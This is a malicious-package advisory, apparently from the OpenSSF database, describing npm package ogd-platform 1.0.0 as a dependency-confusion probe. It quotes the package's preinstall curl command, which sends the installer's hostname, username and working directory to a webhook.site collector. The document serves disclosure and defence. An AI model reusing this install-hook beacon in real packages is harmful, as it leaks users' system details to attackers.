MAL-2026-5828Malicious code in ogd-platform (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | ogd-platform | 1.0.0 |
{"modified":"2026-06-15T20:08:22Z","published":"2026-06-15T20:08:22Z","schema_version":"1.7.4","id":"MAL-2026-5828","summary":"Malicious code in ogd-platform (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f17f2c263db2adee12698bd9046668b9b674bcdf063b959f54841914a6028931)\nThe package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On `npm install`, the preinstall hook runs `curl --data-urlencode \"info=$(hostname && whoami && pwd)\"` against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an attacker-controlled endpoint. The empty tarball plus recon beacon is the canonical dependency-confusion / namespace-squat reconnaissance shape: an internal build expecting a private `ogd-platform` package would resolve to this public registry entry and leak host identifiers to the attacker on install.\n","affected":[{"package":{"ecosystem":"npm","name":"ogd-platform"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"8e13479f1c02654262c93c30cdb8870a317387e31e5c06266e0c9302919bb10b","tlsh":"c9d02b945734bb335add46b31ad6a028d7349f4f84849c1e6ec2112452565e1349f37b"}],"package_integrity":[{"filename":"ogd-platform-1.0.0.tgz","hashes":{"sha1":"90e93782b00f9d30ed0e1bf2b305fd6a55c6f5e0","sha512_sri":"sha512-YbZgnNGlIru4anZXAR2KnDVHeXIypPq67VhxfEFj/FTGI4QSqSGFcx5KpMyebADUR4AewTq87VJBhBWngwU4Xg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/ogd-platform/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-006699","import_time":"2026-06-15T20:14:29.144824987Z","modified_time":"2026-06-15T20:08:22Z","sha256":"f17f2c263db2adee12698bd9046668b9b674bcdf063b959f54841914a6028931","source":"amazon-inspector","versions":["1.0.0"]}]}}数据来源:OpenSSF Malicious Packages · Apache-2.0